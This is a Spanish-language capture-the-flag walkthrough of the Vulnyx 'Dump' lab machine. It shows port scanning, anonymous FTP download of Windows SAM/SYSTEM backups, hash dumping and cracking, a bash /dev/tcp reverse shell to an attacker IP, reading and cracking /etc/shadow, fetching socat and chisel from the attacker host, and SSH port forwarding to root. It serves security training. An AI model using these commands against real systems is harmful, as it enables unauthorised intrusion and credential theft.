Vulnyx - Dump
Máquina Linux de nivel Easy de Vulnyx.
Técnicas usadas: Information Leakage, Local Port Forwarding
Fase de Reconocimiento 🧣
Como primer punto, identificamos la dirección IP de la Máquina Vulnyx
1
2
3
4
root@kali> arp-scan -I eth0 --local --ignoredups
<SNIP>
192.168.100.66 08:00:27:c6:4f:1d PCS Systemtechnik GmbH
a. Enumeramos los puertos que están abiertos.
1
2
3
4
5
6
7
❯ nmap -p- -sS --min-rate 5000 -Pn -n 192.168.100.66 -oG ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
4200/tcp open vrml-multi-use
MAC Address: 08:00:27:0F:5F:9B (Oracle VirtualBox virtual NIC)
b. Vemos las versiones de los servicios que se están ejecutando
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ nmap -p21,80,4200 -sCV 192.168.100.66 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 root root 4096 Feb 09 10:46 .backup [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.100.66:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
4200/tcp open ssl/http ShellInABox
| ssl-cert: Subject: commonName=dump
| Not valid before: 2024-02-09T11:53:57
|_Not valid after: 2044-02-04T11:53:57
|_http-title: Shell In A Box
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:0F:5F:9B (Oracle VirtualBox virtual NIC)
En el servicio FTP existe un directorio .backup además de que la autenticación anónima está permitida
1 2 3 4 5 6 7 8 9 10 11
❯ ftp 192.168.100.66 Name (192.168.100.66:estx): anonymous Password: [ENTER] 230 Login successful. ftp> ls drwxrwxrwx 2 root root 4096 Feb 09 10:46 .backup ftp> cd .backup ftp> ls -rwxrwxrwx 1 root root 24576 Feb 09 10:35 sam.bak -rwxrwxrwx 1 root root 3264512 Feb 09 10:36 system.bak ftp>
Nos descargamos los archivos que encontramos en este servicio
1 2
ftp> get sam.bak ftp> get system.bak
El archivo
sam
es una base de datos con los hashes de las cuentas locales en Windows y el archivosystem
contiene la ‘bootkey’ que es la clave con la que se encripta la sam.
c. Podemos desencriptar estos hashes con impacket-secretsdump con el fin de extraer los hashes (NTLM) y tratar de crackearlos.
1
2
3
4
5
6
7
8
9
10
❯ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
[*] Target system bootKey: 0x042145cf7279c87791fa907cd6d9bccd
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:45ab968b011c0b6cfd1e9e1b30ff40cc:916da1881680fcb38f2ce951f666d6be:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:d0d506281c0dbfe0a16f57e412411d37:::
dumper:1004:ebd1b59f4f5a6843aad3b435b51404ee:7324322d85d3714068d67eccee442365:::
admin:1005:7cc48b08335cd858aad3b435b51404ee:556a8f7773e850d4cf4d789d39ddaca0:::
Guardamos todos lo hashes y los crackeamos con hashcat o john
1 2 3 4
hashcat -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt dumper:7324322d85d3714068d67eccee442365:1dumper admin:556a8f7773e850d4cf4d789d39ddaca0:blabla
d. El servicio del puerto 4200 es ShellInABox, este servicio permite ejecutar una bash en el navegador, para conectarnos a este servicio tenemos que indicar el protocolo https
Escalada de Privilegios 💹
a. Una vez que nos autenticamos con las credenciales dumper:1dumper
nos enviamos una reverse shell para trabajar cómodamente
1
2
# Máquina Atancante
❯ nc -lvnp 4444
1
2
# SHELL IN A BOX
per@dump:~$ bash -c 'bash -i >& /dev/tcp/[IP Máquina Atacante]/4444 0>&1'
Ahora realizamos un tratamiento de la TTY en la reverse shell
1 2 3 4 5 6 7 8 9 10
dumper@dump:~$ script /dev/null -c bash script /dev/null -c bash dumper@dump:~$ ^Z [1] + 7255 suspended nc -lvnp 4444 ❯ stty raw -echo;fg [1] + 7255 continued nc -lvnp 4444 reset xterm dumper@dump:~$ export TERM=xterm-256color dumper@dump:~$ source /etc/skel/.bashrc
b. Con linpeas buscamos formas de escalar privilegios, lo que veremos es que podemos leer el contenido del /etc/shadow
, aquí veremos el hash del usuario root el cual crackeamos con hashcat
1
2
3
4
5
6
7
8
# Dump
dumper@dump:~$ cat /etc/shadow
root:$6$jzcdBmCLz0zF2.b/$6sok07AjDc3TN3oeI/NqrdZ6NSQly3ADW6lvs3z5q.5GDqsCypL8WtL7ARhzDcdYgukakXWeNbiIP7GyigCse/:19762:0:99999:7:::
...
------------------------------------------------------------------------
# Máquina Host
❯ hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
$6$jzcdBmCLz0zF2.b/$6sok07AjDc3TN3oeI/NqrdZ6NSQly3ADW6lvs3z5q.5GDqsCypL8WtL7ARhzDcdYgukakXWeNbiIP7GyigCse/:shadow123
c. No podemos usar ‘su’ para transformarnos en root. Investigando más veremos que el servicio SSH se encuentra habilitado, pero, no se lo ve externamente. Usaremos socat o chisel para hacer un Local Port Forwarding
con el fin de hacer accesible el puerto 22
Usando socat
a. Descargamos socat en la Máquina Dump
1 2 3 4 5 6 7 8
# Máquina Atacante ❯ ls socat ❯ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) # Máquina Dump dumper@dump:/tmp$ wget -o- http://[IP Máquina Atancante]/socat
b. Le damos permisos de ejecución a socat y hacemos el Port Forwarding
1 2
dumper@dump:/tmp$ chmod +x ./socat dumper@dump:/tmp$ ./socat TCP-LISTEN:4444,reuseaddr,fork TCP:127.0.0.1:22
Con esto indicarmos que toda conexión entrante por el puerto 4444 se redirigirá al puerto 22 (SSH)
c. Ahora, nos podemos autenticar en el servicio SSH con las credenciales
root:shadow123
1 2 3 4
❯ ssh root@192.168.100.66 -p 4444 Are you sure you want to continue connecting (yes/no/[fingerprint])? yes root@192.168.100.66's password: root@dump:~#
Usando chisel
a. Descargamos chisel en la Máquina Dump
1 2 3 4 5 6 7 8
# Máquina Atacante ❯ ls chisel ❯ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) # Máquina Dumper dumper@dump:/tmp$ wget -o- http://[IP Máquina Atancante]/chisel
b. Primero, ejecutamos chisel en modo servidor en nuestra máquina atacante
1 2 3 4
❯ ./chisel server --reverse -p 4443 2024/04/27 23:24:56 server: Reverse tunnelling enabled 2024/04/27 23:24:56 server: Fingerprint 9xTeAG/cj+NT6JQBH0NOgx+P8LXbW6+vLOQoJ2bbpss= 2024/04/27 23:24:56 server: Listening on http://0.0.0.0:4443
b. Ahora, le damos permisos de ejecución a chisel y hacemos el Port Forwarding en Dump
1 2
dumper@dump:/tmp$ ./chisel client [IP Máquina Atacante]:4443 R:[Puerto en nuestra máquina atacante]:127.0.0.1:22 2024/04/27 23:27:20 client: Connecting to ws://192.168.100.55:4443
[IP Máquina Atacante]:4443
Aquí nos conectamos al servidor levantado en nuestra máquina atacante.R:[Puerto en nuestra máquina atacante]:127.0.0.1:22
con esto indicamos un puerto de nuestra máquina atacante el cual ocupará el servicio SSH de la máquina Dumpc. Ahora, nos podemos autenticar en el servicio SSH con las credenciales
root:shadow123
1 2 3 4 5 6 7
❯ lsof -i:22 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME chisel 11102 root 8u IPv6 77037 0t0 TCP *:ssh (LISTEN) ❯ ssh root@127.0.0.1 root@127.0.0.1's password: root@dump:~#